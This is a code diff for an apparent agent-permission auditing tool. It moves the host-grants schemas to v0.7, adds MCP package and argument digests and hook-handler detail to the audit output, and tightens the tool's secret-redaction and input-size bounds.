https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/checks.json diff --git a/scripts/generate_schemas.py b/scripts/generate_schemas.py index f55c7b422..b3f6740ac 100644 --- a/scripts/generate_schemas.py +++ b/scripts/generate_schemas.py @@ -51,13 +51,13 @@ - docs/registry-schema.v0.4.json (from agents_shipgate.schemas.registry. RegistryQueryResultV1) -- docs/host-grants-inventory-schema.v0.6.json +- docs/host-grants-inventory-schema.v0.7.json (from agents_shipgate.schemas.host_grants. - HostGrantsInventoryArtifactV6) -- docs/host-grants-baseline-schema.v0.6.json - (from HostGrantsBaselineArtifactV6) -- docs/host-grants-drift-schema.v0.6.json - (from HostGrantsDriftArtifactV6) + HostGrantsInventoryArtifactV7) +- docs/host-grants-baseline-schema.v0.7.json + (from HostGrantsBaselineArtifactV7) +- docs/host-grants-drift-schema.v0.7.json + (from HostGrantsDriftArtifactV7) - docs/capability-lock-schema.v0.8.json (from agents_shipgate.schemas.capabilities. CapabilityLockFileArtifactV1) @@ -2494,10 +2494,10 @@ def build_host_grants_inventory_schema() -> tuple[Path, str]: from agents_shipgate.schemas.host_grants import ( HOST_GRANTS_INVENTORY_SCHEMA_VERSION, - HostGrantsInventoryArtifactV6, + HostGrantsInventoryArtifactV7, ) - schema = HostGrantsInventoryArtifactV6.model_json_schema() + schema = HostGrantsInventoryArtifactV7.model_json_schema() minor = HOST_GRANTS_INVENTORY_SCHEMA_VERSION schema["$id"] = ( "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/" @@ -2518,10 +2518,10 @@ def build_host_grants_baseline_schema() -> tuple[Path, str]: from agents_shipgate.schemas.host_grants import ( HOST_GRANTS_BASELINE_SCHEMA_VERSION, - HostGrantsBaselineArtifactV6, + HostGrantsBaselineArtifactV7, ) - schema = HostGrantsBaselineArtifactV6.model_json_schema() + schema = HostGrantsBaselineArtifactV7.model_json_schema() minor = HOST_GRANTS_BASELINE_SCHEMA_VERSION schema["$id"] = ( "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/" @@ -2541,10 +2541,10 @@ def build_host_grants_drift_schema() -> tuple[Path, str]: from agents_shipgate.schemas.host_grants import ( HOST_GRANTS_DRIFT_SCHEMA_VERSION, - HostGrantsDriftArtifactV6, + HostGrantsDriftArtifactV7, ) - schema = HostGrantsDriftArtifactV6.model_json_schema() + schema = HostGrantsDriftArtifactV7.model_json_schema() minor = HOST_GRANTS_DRIFT_SCHEMA_VERSION schema["$id"] = ( "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/" diff --git a/src/agents_shipgate/cli/host_audit.py b/src/agents_shipgate/cli/host_audit.py index 7d7d918a7..8ed74c647 100644 --- a/src/agents_shipgate/cli/host_audit.py +++ b/src/agents_shipgate/cli/host_audit.py @@ -21,6 +21,7 @@ HOST_GRANTS_INVENTORY_SCHEMA_VERSION, HOST_GRANTS_SCHEMA_VERSION, INCOMPARABLE_BASELINE_REVIEW, + OVERWRITABLE_BASELINE_SCHEMA_VERSIONS, build_host_drift_payload, build_host_grants_baseline, diff_host_grants, @@ -641,8 +642,10 @@ def _refuse_invalid_baseline_overwrite( next_action=INCOMPARABLE_BASELINE_REVIEW, command=None, ) from exc + # A v0.6 baseline compares exactly as its v0.7 reading does, so it may be + # replaced; every older one is still refused (#819). if ( - baseline.get("host_grants_schema_version") != HOST_GRANTS_SCHEMA_VERSION + baseline.get("host_grants_schema_version") not in OVERWRITABLE_BASELINE_SCHEMA_VERSIONS or baseline.get("_load_error") ): reason = str(baseline.get("_load_error") or "unsupported_baseline_schema") diff --git a/src/agents_shipgate/core/capability_diff_rows.py b/src/agents_shipgate/core/capability_diff_rows.py index e6159a263..165817674 100644 --- a/src/agents_shipgate/core/capability_diff_rows.py +++ b/src/agents_shipgate/core/capability_diff_rows.py @@ -10,7 +10,8 @@ three cannot describe one change three ways. The text projections read them through :func:`review_changes`, which adds what the published row leaves to the reader: a permission rule's disposition, an MCP server's published launch -facts, and one change for a replacement or move the engine established (#795). +facts, package and argument digest, a hook's published handlers (#819), and +one change for a replacement or move the engine established (#795). Those presentation facts are published too, so a machine consumer reads what a human reads: the rule's disposition on the row itself, and the joined changes, @@ -20,6 +21,7 @@ from __future__ import annotations +import json import re from collections import Counter from collections.abc import Sequence @@ -27,6 +29,8 @@ from typing import Any from agents_shipgate.core.host_grants import ( + _PLAIN_TOKEN_RE, + DETAIL_NOT_SHOWN, hook_loading_basis, host_grant_expansion_signals, permission_rule_replacements, @@ -481,7 +485,8 @@ class ReviewChange: before: str after: str #: The field-level difference, in place of ``before → after``, when both - #: sides name the same grant (an MCP server whose launch changed). + #: sides name the same grant (an MCP server whose launch changed, a hook + #: whose matcher, command or timeout changed). change: str | None why: str expands: bool @@ -640,6 +645,16 @@ def _mcp_launch(grant: dict[str, Any]) -> str | None: return f"{kind} {endpoint}" +def _more(count: int, noun: str) -> str: + return f" (+{count} more {noun}{'s' if count != 1 else ''})" if count else "" + + +def _digest_text(digest: Any) -> str: + """A published digest as text prints it: its first twelve hex digits (#819).""" + + return f"sha256:{str(digest)[:12]}" if digest else "none" + + def _mcp_cell(value: str, grant: dict[str, Any] | None) -> str: """An added or removed MCP server with the launch facts its grant publishes.""" @@ -649,6 +664,7 @@ def _mcp_cell(value: str, grant: dict[str, Any] | None) -> str: fact for fact in ( _mcp_launch(grant), + f"package {grant['package']}" if grant.get("package") else None, "env keys " + _names(_key_names(grant["env_keys"])) if grant.get("env_keys") else None, "header keys " + _names(_key_names(grant["header_keys"])) if grant.get("header_keys") else None, ) @@ -661,13 +677,34 @@ def _mcp_cell(value: str, grant: dict[str, Any] | None) -> str: _MCP_FIELDS = ("transport", "endpoint", "env_keys", "header_keys") +def _mcp_args_change(before: dict[str, Any], after: dict[str, Any]) -> list[str]: + """The difference in two readings' published package and argument digest (#819). + + Nothing when either reading does not publish them, as a grant from a + ``0.6`` snapshot or a saved baseline does not. The digest stands for + every argument but the package, so an edit to the package alone names + the package alone. + """ + + if "args_sha256" not in before or "args_sha256" not in after: + return [] + parts: list[str] = [] + old, new = before.get("package"), after.get("package") + if old != new: + parts.append(f"package {old or '(none shown)'} → {new or '(none shown)'}") + old, new = before.get("args_sha256"), after.get("args_sha256") + if old != new: + parts.append(f"launch arguments changed ({_digest_text(old)} → {_digest_text(new)})") + return parts + + def _mcp_change(name: str, before: dict[str, Any], after: dict[str, Any]) -> str | None: """What differs between two readings of one MCP server, in its published fields. ``None`` when either side does not publish every field, so a grant read from an older snapshot is never described by a difference it cannot show. - A command's path, its arguments and other settings are not published, so a - change confined to them says what was compared and that the change is + A command's path and other settings are not published, so a change + confined to them says what was compared and that the change is elsewhere, rather than ``name → name`` or a claim that the command is unchanged. Two different endpoints that print alike, such as two URLs neither of which is printed, read ``url changed (not shown)``. @@ -691,6 +728,7 @@ def _mcp_change(name: str, before: dict[str, Any], after: dict[str, Any]) -> str # Printing the shared text on both sides would read as no change. kind = "url" if after.get("transport") == "url" else "command name" parts.append(f"{kind} changed ({_URL_NOT_SHOWN})") + parts.extend(_mcp_args_change(before, after)) for field, label in (("env_keys", "env keys"), ("header_keys", "header keys")): old, new = set(before[field] or []), set(after[field] or []) added, removed = sorted(new - old), sorted(old - new) @@ -698,34 +736,245 @@ def _mcp_change(name: str, before: dict[str, Any], after: dict[str, Any]) -> str tokens = [f"+{key}" for key in _key_names(added)] + [f"-{key}" for key in _key_names(removed)] parts.append(f"{label} {_names(tokens)}") if not parts: - return f"{name}: {_mcp_unshown_change(after)}" + compared = all("args_sha256" in grant for grant in (before, after)) + return f"{name}: {_mcp_unshown_change(after, args_compared=compared)}" return f"{name}: " + "; ".join(parts) -def _mcp_unshown_change(grant: dict[str, Any]) -> str: +def _mcp_unshown_change(grant: dict[str, Any], *, args_compared: bool = False) -> str: """A change confined to what the grant does not publish, in the words of what was compared. - Only the command's name, or the URL's recorded value, and the env and - header key names are compared. `npx` → `./npx` and - `/usr/local/bin/node` → `./scripts/node` change the command while its name - stays the same, so the sentence names the command's path beside its - arguments as what this output does not show. A URL that is not printed is - named `url as recorded`, never by its value. + Only the command's name, or the URL's recorded value, the launch + arguments (#819: the package and the digest of the rest), and the env and + header key names are compared. `npx` → `./npx` and `/usr/local/bin/node` + → `./scripts/node` change the command while its name stays the same, so + the sentence names the command's path as what this output does not show. + The digest binds every argument as ``config_sha256``'s input holds it, so + once the arguments are compared no argument is named as unshown. A URL + that is not printed is named `url as recorded`, never by its value, and a + URL server that declares no arguments is not said to have compared them. + A grant read before the arguments were published names them as not + shown, as it did. """ launch = _mcp_launch(grant) + arguments = ( + "launch arguments, " + if args_compared and (grant.get("transport") != "url" or grant.get("args_sha256") is not None) + else "" + ) if grant.get("transport") == "url": compared = "url as recorded" if _mcp_endpoint(grant) == _URL_NOT_SHOWN else launch or "url" unshown = "the URL's query or another setting" else: compared = launch or "command name" - unshown = "the command's path or arguments" + unshown = "the command's path or another setting" if arguments else "the command's path or arguments" return ( - f"no difference in the {compared}, env key names or header key names; the change " - f"is in a detail this output does not show, such as {unshown}" + f"no difference in the {compared}, {arguments}env key names or header key names; the " + f"change is in a detail this output does not show, such as {unshown}" ) +#: How many hook handlers an added or removed hook's cell lists before counting. +_HANDLER_LIMIT = 3 + +#: Why a hook declaration published no handler: it is not in the shape the +#: reader establishes (#819). +_HOOK_SHAPE_REASON = ( + "the declaration is not a list of matcher groups whose hooks are objects and whose " + "commands are strings" +) +#: What a hook row says when its declaration is outside that shape. +_HOOK_SHAPE_NOT_READ = f"matcher, command and timeout not shown: {_HOOK_SHAPE_REASON}" + +#: What a hook's published handlers do not show, and so where a change the +#: rows cannot name may be (#819). The command is digested whole, so no part +#: of it is among them. +_HOOK_UNSHOWN = "another hook setting or a redacted or shortened matcher or timeout" + + +def _command_text(command: dict[str, Any]) -> str: + """A published hook command as one line: its executable's name and its digest, never its text (#819).""" + + return f"{command.get('executable') or DETAIL_NOT_SHOWN} {_digest_text(command.get('sha256'))}" + + +def _handler_value(field: str, value: Any) -> str: + """A published handler field as a row prints it (#819). + + A timeout is printed as its JSON reads, so one written as text is quoted + and ``5`` → ``"5"`` or ``true`` → ``"true"`` never reads as the same value + twice (#819 review, cycles 5 and 6). Only the bounded text of an integer + too long to publish, and ````, are printed bare: neither is a + plain token, so no string timeout is published as either. + """ + + if value is None: + return "(none)" + if field == "command": + return _command_text(value) + if field == "matcher" and value == "": + return '""' + if field == "timeout" and (not isinstance(value, str) or _PLAIN_TOKEN_RE.fullmatch(value)): + return json.dumps(value, ensure_ascii=False) + return str(value) + + +#: A hook handler's published fields, in the order a row names them. +_HANDLER_FIELDS = ("matcher", "command", "timeout") + + +def _handler_facts(handler: dict[str, Any]) -> list[str]: + """What one published handler declares, in a reviewer's words.""" + + return [ + f"{field} {_handler_value(field, handler.get(field))}" + for field in _HANDLER_FIELDS + if handler.get(field) is not None + ] + + +def _hook_cell(value: str, grant: dict[str, Any] | None) -> str: + """An added or removed hook with the handlers its grant publishes (#819). + + A grant read before handlers were published renders its event alone, as it did. + """ + + if not grant or value == ABSENT or "handlers" not in grant: + return value + if grant["handlers"] is None: + return f"{value} ({_HOOK_SHAPE_NOT_READ})" + return f"{value} ({_listed_handlers(grant)})" + + +def _listed_handlers(grant: dict[str, Any]) -> str: + """The handlers a grant publishes, as a cell lists them: at most three, then a count (#819).""" + + handlers = grant["handlers"] + total = len(handlers) + int(grant.get("omitted_handlers") or 0) + if not total: + return "no handlers" + if total == 1 and handlers: + return "; ".join(_handler_facts(handlers[0])) or "a handler with no matcher, command or timeout" + listed = [ + f"handler {index}: {', '.join(_handler_facts(handler)) or 'no matcher, command or timeout'}" + for index, handler in enumerate(handlers[:_HANDLER_LIMIT], start=1) + ] + return "; ".join(listed) + _more(total - len(listed), "handler") + + +def _published_json(value: Any) -> str: + """A published value as its JSON reads, so ``5`` and ``5.0`` differ as they do there.""" + + return json.dumps(value, sort_keys=True, ensure_ascii=False) + + +def _handler_changes(before: list[dict[str, Any]], after: list[dict[str, Any]]) -> list[str] | None: + """Field differences between two readings of one event's handlers (#819). + + ``None`` when the published handlers are the same ones in a different + order. With the same number of handlers, handler N is compared with + handler N and each differing field is named with its before and after; a + command by its executable's name and digest, since its text is never + published. Otherwise the handlers only one side declares are listed as + removed or added, since nothing establishes which of them another + replaced. Values compare as the JSON publishes them: a timeout of ``5`` + and one of ``5.0`` are two values there, and the row names both. + """ + + parts: list[str] = [] + old_json, new_json = list(map(_published_json, before)), list(map(_published_json, after)) + if len(before) == len(after) and old_json != new_json and sorted(old_json) == sorted(new_json): + return None + if len(before) == len(after): + several = len(after) > 1 + for index, (old, new) in enumerate(zip(before, after, strict=True), start=1): + for field in _HANDLER_FIELDS: + old_value, new_value = old.get(field), new.get(field) + if _published_json(old_value) == _published_json(new_value): + continue + label = f"handler {index} {field}" if several else field + if field == "command" and old_value and new_value: + parts.append(f"{label} changed ({_command_text(old_value)} → {_command_text(new_value)})") + else: + parts.append( + f"{label} {_handler_value(field, old_value)} → {_handler_value(field, new_value)}" + ) + return parts + remaining = list(zip(new_json, after, strict=True)) + removed: list[dict[str, Any]] = [] + for text, handler in zip(old_json, before, strict=True): + match = next((pair for pair in remaining if pair[0] == text), None) + if match is not None: + remaining.remove(match) + else: + removed.append(handler) + added = [handler for _text, handler in remaining] + for sign, handlers in (("-", removed), ("+", added)): + for handler in handlers: + facts = ", ".join(_handler_facts(handler)) or "no matcher, command or timeout" + parts.append(f"{sign}handler ({facts})") + return parts + + +def _hook_change(event: str, before: dict[str, Any], after: dict[str, Any]) -> str | None: + """What differs between two readings of one hook event, in its published handlers (#819). + + ``None`` when either reading does not publish handlers, as a ``0.6`` + grant or a saved baseline's grant does not, so it renders + ``event → event`` as it did. The row exists because ``config_sha256`` + changed. When no published field differs, the change is in something the + handlers do not show, and the text says so rather than print the same + handlers twice. When the published handlers are the same ones in a + different order, the text says so, and that a detail it does not show may + differ too: equal published handlers never establish equal handlers, + since a setting such as ``async`` is not published (#819 review, cycle + 4). When either side lists fewer handlers than it declares, only the + first ones were compared, and a handler past them is named among what is + not shown (#819 review). When only one side's declaration is outside the + documented shape, that side is named and the other side's handlers are + listed as an added or removed hook's are, so a change that brings a + declaration into the shape never reads as though the new one were outside + it (#819 review, cycle 5). + """ + + if "handlers" not in before or "handlers" not in after: + return None + old, new = before["handlers"], after["handlers"] + if old is None and new is None: + return f"{event}: {_HOOK_SHAPE_NOT_READ}" + if old is None or new is None: + unread, read, grant = ("base", "head", after) if old is None else ("head", "base", before) + return ( + f"{event}: {unread} matcher, command and timeout not shown ({_HOOK_SHAPE_REASON}); " + f"{read} ({_listed_handlers(grant)})" + ) + changes = _handler_changes(old, new) + parts = changes or [] + old_more, new_more = int(before.get("omitted_handlers") or 0), int(after.get("omitted_handlers") or 0) + # A side that counts handlers past the bound lists exactly the bound, and + # the other lists no more, so the longer list is the bound (#819 review). + bound = max(len(old), len(new)) + if old_more != new_more: + parts.append(f"handlers past the first {bound}: {old_more} → {new_more}") + past = f"a handler past the first {bound}, " if old_more or new_more else "" + if changes is None: + parts.insert( + 0, + "the published handlers in a different order; a detail this output does not show " + f"may also differ, such as {past}{_HOOK_UNSHOWN}", + ) + if not parts: + compared = f" of the first {bound} handlers" if past else "" + return ( + f"{event}: no difference in the matcher, command or timeout{compared}; the change is " + f"in a detail this output does not show, such as {past}{_HOOK_UNSHOWN}" + ) + shown = parts[:_NAME_LIMIT] + rest = len(parts) - len(shown) + return f"{event}: " + "; ".join(shown) + (f"; and {rest} more" if rest else "") + + def _permission_cell(value: str, grant: dict[str, Any] | None) -> str: if not grant or value == ABSENT or not grant.get("disposition"): return value @@ -873,6 +1122,17 @@ def capability_diff_rows( before=_mcp_cell(row.before, before_grant), after=_mcp_cell(row.after, after_grant), ) + elif kind == "hook" and before_grant and after_grant: + view = _RowView( + before=row.before, + after=row.after, + change=_hook_change(row.after, before_grant, after_grant), + ) + elif kind == "hook": + view = _RowView( + before=_hook_cell(row.before, before_grant), + after=_hook_cell(row.after, after_grant), + ) else: view = _RowView(before=row.before, after=row.after) rows.append(row) diff --git a/src/agents_shipgate/core/host_comparison.py b/src/agents_shipgate/core/host_comparison.py index 83e527c72..ead0ec8d2 100644 --- a/src/agents_shipgate/core/host_comparison.py +++ b/src/agents_shipgate/core/host_comparison.py @@ -24,8 +24,8 @@ _issue_source_label, build_host_comparison_payload, build_host_drift_payload, - build_host_grants_baseline, hook_loading_basis, + host_comparison_baseline, host_grants_sha256, inventory_is_complete, normalized_host_grants, @@ -813,7 +813,7 @@ def compare_host_inventories( payload = build_host_comparison_payload(before=before, after=after, baseline_file=baseline_file) else: payload = build_host_drift_payload( - baseline=build_host_grants_baseline(before), + baseline=host_comparison_baseline(before), inventory=after, baseline_file=baseline_file, ) diff --git a/src/agents_shipgate/core/host_grants.py b/src/agents_shipgate/core/host_grants.py index 4587315da..2e345d61d 100644 --- a/src/agents_shipgate/core/host_grants.py +++ b/src/agents_shipgate/core/host_grants.py @@ -11,6 +11,7 @@ import errno import hashlib import json +import math import os import posixpath import re @@ -83,8 +84,9 @@ HostGrantsBaselineV4, HostGrantsBaselineV5, HostGrantsBaselineV6, - HostGrantsDriftV6, - HostGrantsInventoryV6, + HostGrantsBaselineV7, + HostGrantsDriftV7, + HostGrantsInventoryV7, ) HOST_GRANTS_SCHEMA_VERSION = HOST_GRANTS_BASELINE_SCHEMA_VERSION @@ -117,8 +119,18 @@ r"(\s*:\s*)([^\s'\";,\)]+)" ) _BEARER_SECRET_RE = re.compile(r"(?i)\b(bearer)(\s+)([^\s'\";,\)]+)") +#: ``NAME=value`` whose name holds a credential word. The lookahead states what +#: every match needs after the name's whole run of name characters, ``=`` and +#: a value's first character, so a long run with neither after it is passed +#: over in one scan instead of being retried at every split of the run, which +#: took time quadratic in its length (#819 review: 40,000 characters of +#: ``password`` took 1.6 seconds). It matches exactly what the pattern without +#: it matches, with the same groups: a name can only end where its run ends, +#: since what follows it must be whitespace or ``=``, so ``config_sha256`` is +#: unchanged. _ASSIGNMENT_SECRET_RE = re.compile( - r"(?i)\b([A-Z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|CREDENTIAL)[A-Z0-9_]*)" + r"(?i)\b(?=[A-Z0-9_]*+\s*+=\s*+[^\s'\";,\)])" + r"([A-Z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|CREDENTIAL)[A-Z0-9_]*)" r"(\s*=\s*)([^\s'\";,\)]+)" ) _SPACE_ARG_SECRET_RE = re.compile( @@ -847,6 +859,145 @@ def _endpoint(server: Any) -> str | None: return None +#: Bounds on the hook and MCP detail a grant publishes (#819). A matcher past +#: its bound ends in ``…``; handlers past theirs are counted in +#: ``omitted_handlers``; a timeout written as more digits than a word's bound +#: is published as its cut text. +MAX_DETAIL_WORD_CHARS = 80 +MAX_DETAIL_MATCHER_CHARS = 120 +MAX_HOOK_HANDLERS = 16 +#: A matcher longer than this is not published (#819 review, cycle 5). The +#: published-label redaction has patterns whose time is quadratic in their +#: input, so a 128 KiB matcher took 4.2 seconds to read, and a matcher cut +#: before that redaction runs could publish part of a credential. +MAX_DETAIL_MATCHER_INPUT_CHARS = 1024 +#: What a grant publishes in place of an executable name, or a timeout written +#: as text, that is not a plain token (#819). +DETAIL_NOT_SHOWN = "" +#: A plain token: the one shape in which an executable's name, or a timeout +#: written as text, is published (#819). +_PLAIN_TOKEN_RE = re.compile(r"[A-Za-z0-9._+-]{1,80}") + + +def _bounded_detail(text: str, limit: int = MAX_DETAIL_WORD_CHARS) -> str: + return text if len(text) <= limit else text[: limit - 1] + "…" + + +def _detail_string_rules(text: str) -> str: + """A matcher's text through the digest's string rule and the published-label rule (#802, #819).""" + + return published_workflow_label(_sanitize_sensitive_string(text)) + + +def _plain_token(text: str) -> str: + """``text`` when it is a plain token no redaction rule rewrites, else :data:`DETAIL_NOT_SHOWN` (#819).""" + + if _PLAIN_TOKEN_RE.fullmatch(text) and _detail_string_rules(text) == text: + return text + return DETAIL_NOT_SHOWN + + +def _published_matcher(value: Any) -> str: + """A matcher as it may be published: the published-label redaction, then the bound (#819). + + A matcher is a string of at most :data:`MAX_DETAIL_MATCHER_INPUT_CHARS` + characters as ``config_sha256``'s input holds it; any other value is + :data:`DETAIL_NOT_SHOWN`, so no structured text a file puts there is + published and the published-label redaction never reads a long one. The + bound is on that input's text, not the file's, so two matchers that input + holds alike publish alike (#819 review, cycle 6): the digest's own string + rule, which runs over every matcher already, is linear. + """ + + if not isinstance(value, str): + return DETAIL_NOT_SHOWN + held = _sanitize_sensitive_string(value) + if len(held) > MAX_DETAIL_MATCHER_INPUT_CHARS: + return DETAIL_NOT_SHOWN + return _bounded_detail(published_workflow_label(held), MAX_DETAIL_MATCHER_CHARS) + + +#: A package specification an MCP server's arguments may publish, and nothing +#: else of them (#819): an npm ``name@version`` or ``@scope/name@version`` +#: (a version of at least two parts, a ``^``/``~`` range on one, or a common +#: dist-tag), a PyPI ``name==version``, or an OCI image reference with a +#: registry or namespace path and a tag or a ``sha256`` digest. +_PACKAGE_SPEC_RE = re.compile( + r"(?:@[a-z0-9][a-z0-9._-]*/)?[a-z0-9][a-z0-9._-]*" + r"@(?:[~^]?v?\d+(?:\.\d+){1,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?" + r"|latest|next|beta|alpha|canary|rc|stable|experimental|nightly|insiders|dev|preview)" + r"|[A-Za-z0-9](?:[A-Za-z0-9._-]*[A-Za-z0-9])?(?:\[[A-Za-z0-9._,-]+\])?" + r"==\d+(?:\.\d+)+(?:(?:a|b|rc)\d+)?(?:\.post\d+)?(?:\.dev\d+)?" + r"|[a-z0-9][a-z0-9._-]*(?::\d+)?(?:/[a-z0-9][a-z0-9._-]*)+" + r"(?::[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}(?:@sha256:[0-9a-f]{64})?|@sha256:[0-9a-f]{64})" +) +MAX_DETAIL_PACKAGE_CHARS = 200 +#: Flags a package runner writes before the package it runs (``npx -y``, +#: ``uvx --from``, ``docker run -i --rm``). After any other flag an argument +#: may be that flag's value, so it is never published as a package; that +#: includes ``uvx --with``, whose value is an extra requirement beside the +#: server rather than the server (#819 review, cycle 5). +_PACKAGE_PREFIX_FLAGS = frozenset({ + "-y", "--yes", "--package", "--from", "--spec", "-i", "--interactive", "--rm", + "--init", "-q", "--quiet", +}) +#: What the published package stands for in the digest of the arguments, so a +#: package change is named once, by the package. +_PACKAGE_MARKER = "" + + +def _published_package_index(args: list[Any], redacted: list[Any]) -> int | None: + """The index of the argument an MCP server publishes as its package, or ``None`` (#819). + + The first argument that matches :data:`_PACKAGE_SPEC_RE` in full, that + neither the digest's input redaction (``redacted``, index for index) nor + the published-label redaction rewrites, and that follows no flag but one + of :data:`_PACKAGE_PREFIX_FLAGS`. + """ + + for index, item in enumerate(args): + previous = redacted[index - 1] if index else None + if ( + isinstance(item, str) + and len(item) <= MAX_DETAIL_PACKAGE_CHARS + and redacted[index] == item + and _PACKAGE_SPEC_RE.fullmatch(item) + and published_workflow_label(item) == item + and not ( + isinstance(previous, str) + and previous.startswith("-") + and previous not in _PACKAGE_PREFIX_FLAGS + ) + ): + return index + return None + + +def _mcp_launch_args(config: dict[str, Any]) -> tuple[str | None, str | None]: + """An MCP server's published ``package`` and ``args_sha256`` (#819). + + No argument text is published but the package + (:func:`_published_package_index`). Every argument contributes to + ``args_sha256``, the digest of the declared ``args`` as + ``config_sha256``'s input holds them (:func:`redacted_config_sha256`), + with the package replaced by :data:`_PACKAGE_MARKER` and the package's + position digested beside them, so the package and the digest determine + the arguments even when one of them is a literal marker (#819 review, + cycle 5); ``args`` that is not a list is digested as declared. Both are + ``None`` when no ``args`` is declared. + """ + + if "args" not in config: + return None, None + args = config["args"] + if isinstance(args, list): + index = _published_package_index(args, _redact_secret_values(args)) + if index is not None: + marked = [*args[:index], _PACKAGE_MARKER, *args[index + 1 :]] + return args[index], redacted_config_sha256({"args": marked, "package_index": index}) + return None, redacted_config_sha256(args) + + #: VS Code's prompted-input reference, e.g. `"API_KEY": "${input:apiKey}"`. _VSCODE_INPUT_REF = re.compile(r"\$\{input:([^}]+)\}") #: The documented top level of `.vscode/mcp.json` (#731). Anything else is not @@ -926,6 +1077,7 @@ def _mcp_grants( ) env = config.get("env") if isinstance(config.get("env"), dict) else {} headers = config.get("headers") if isinstance(config.get("headers"), dict) else {} + package, args_sha256 = _mcp_launch_args(config) grants.append({ **base, "server": str(name), @@ -933,6 +1085,8 @@ def _mcp_grants( "endpoint": _endpoint(config), "env_keys": sorted(str(key) for key in env), "header_keys": sorted(str(key) for key in headers), + "package": package, + "args_sha256": args_sha256, }) return grants @@ -1043,6 +1197,121 @@ def _setting_grant( LOADED_HOOK_BASES: frozenset[str] = frozenset({"host_configuration", "project_enabled_plugin"}) +#: Shell reserved words, which open a compound command rather than name a +#: program, so a command that starts with one names no executable (#819). +_SHELL_RESERVED_WORDS = frozenset({ + "case", "coproc", "do", "done", "elif", "else", "esac", "fi", "for", "function", "if", "in", + "select", "then", "time", "until", "while", +}) + + +def _hook_command(value: Any) -> dict[str, str] | None: + """A hook's command as its grant publishes it: the executable's name and a digest (#819). + + The command's text is never published. ``sha256`` is the digest of the + whole command as ``config_sha256``'s input holds it + (:func:`redacted_config_sha256`), so it moves only when that digest does, + and a value that input redacts moves neither. ``executable`` is the last + ``/`` or ``\\`` segment of the command's first whitespace-separated word + as that input holds it, quotes around the segment removed, when that + segment is a plain token no redaction rule rewrites (:func:`_plain_token`), + and :data:`DETAIL_NOT_SHOWN` otherwise: a leading ``NAME=value`` + assignment, a word whose quote a blank leaves open (``'my tool.sh'``), a + shell reserved word such as ``if`` (:data:`_SHELL_RESERVED_WORDS`) or a + URL, a first word holding ``://`` as written or as that input holds it, + is never named: that input keeps a URL's host and drops the rest, so its + last segment would be the host (#819 review, cycle 5). It is a label, not + a claim about what a host runs. + """ + + if not isinstance(value, str) or not value.strip(): + return None + written = value.split(maxsplit=1)[0] + words = _sanitize_sensitive_string(value).split(maxsplit=1) + first = words[0] if words else "" + named = ( + first not in _SHELL_RESERVED_WORDS + and not (first.count("'") % 2 or first.count('"') % 2) + and "://" not in written + and "://" not in first + ) + name = re.split(r"[/\\]", first)[-1].strip("'\"") if named else "" + return {"executable": _plain_token(name), "sha256": redacted_config_sha256(value)} + + +def _hook_handlers(config: Any) -> tuple[list[dict[str, Any]] | None, int]: + """Every handler one hook event declares, as its grant publishes them (#819). + + Only the documented shape is read: a list of matcher groups, each an + object with a ``hooks`` list of handler objects whose ``command``, when + present, is a string. Anything else is ``None``, so the detail is not + shown rather than guessed at, and the row still reports the change through + ``config_sha256``. At most :data:`MAX_HOOK_HANDLERS` handlers are listed, + and only those are read for publishing: a group's matcher is read once, + and only when one of its handlers is listed, so a file of many handlers + under one long matcher reads it no more than once (#819 review, cycle 5). + """ + + if not isinstance(config, list): + return None, 0 + handlers: list[dict[str, Any]] = [] + declared = 0 + for group in config: + if not isinstance(group, dict) or not isinstance(group.get("hooks"), list): + return None, 0 + entries = group["hooks"] + if not all( + isinstance(handler, dict) and isinstance(handler.get("command", ""), str) + for handler in entries + ): + return None, 0 + listed = entries[: max(0, MAX_HOOK_HANDLERS - declared)] + declared += len(entries) + if not listed: + continue + matcher = group.get("matcher") + published = None if matcher is None else _published_matcher(matcher) + handlers.extend( + { + "matcher": published, + "command": _hook_command(handler.get("command")), + "timeout": _hook_timeout(handler.get("timeout")), + } + for handler in listed + ) + return handlers, max(0, declared - MAX_HOOK_HANDLERS) + + +def _hook_timeout(timeout: Any) -> bool | int | float | str | None: + """A handler's ``timeout`` as its grant publishes it (#819). + + A boolean, a finite float, or an integer whose digits fit the word bound, + is published as the value it is. An integer with more digits than + :data:`MAX_DETAIL_WORD_CHARS` is published as its digits, cut and ending in + ``…`` (#819 review); a string as written when it is a plain token + (:func:`_plain_token`); and any other value, an infinite or + not-a-number float among them, as :data:`DETAIL_NOT_SHOWN`. No two of + these publish alike: a boolean, or such a float, was published as the + text a string could spell, so ``true`` → ``"true"`` and ``Infinity`` → + ``"inf"`` read as no difference (#819 review, cycle 6). An integer is + never converted to a float, so one too large for a float is not an error. + """ + + if timeout is None or isinstance(timeout, bool): + return timeout + if isinstance(timeout, int): + # The bit length bounds the digits before any conversion to text: + # 4 bits per decimal digit is more than enough (log2(10) < 3.33). + if timeout.bit_length() <= 4 * MAX_DETAIL_WORD_CHARS and len(str(timeout)) <= MAX_DETAIL_WORD_CHARS: + return timeout + return _bounded_detail(str(timeout)) + if isinstance(timeout, float) and math.isfinite(timeout): + return timeout + if isinstance(timeout, str): + return _plain_token(timeout) + return DETAIL_NOT_SHOWN + + def _hooks_grants( data: Any, *, host: str, scope: HostScope, source: str, basis: HookLoadingBasis = "host_configuration", @@ -1051,16 +1320,19 @@ def _hooks_grants( if not isinstance(hooks, dict): return [] access, risk = _HOOK_ACCESS_BY_BASIS[basis] - return [ - { + grants: list[dict[str, Any]] = [] + for event, config in sorted(hooks.items()): + handlers, omitted = _hook_handlers(config) + grants.append({ **_grant_base( host=host, scope=scope, source=source, kind="hook", identity=str(event), config=config, access=access, risk=risk, ), "event": str(event), - } - for event, config in sorted(hooks.items()) - ] + "handlers": handlers, + "omitted_handlers": omitted, + }) + return grants def hook_loading_basis(grant: dict[str, Any]) -> HookLoadingBasis: @@ -3398,7 +3670,7 @@ def note_unusable_selected_hooks(data: Any, *, source: str) -> None: "static_analysis_only": True, "runtime_session_verified": False, } - inventory = HostGrantsInventoryV6.model_validate(payload).model_dump(mode="json") + inventory = HostGrantsInventoryV7.model_validate(payload).model_dump(mode="json") return 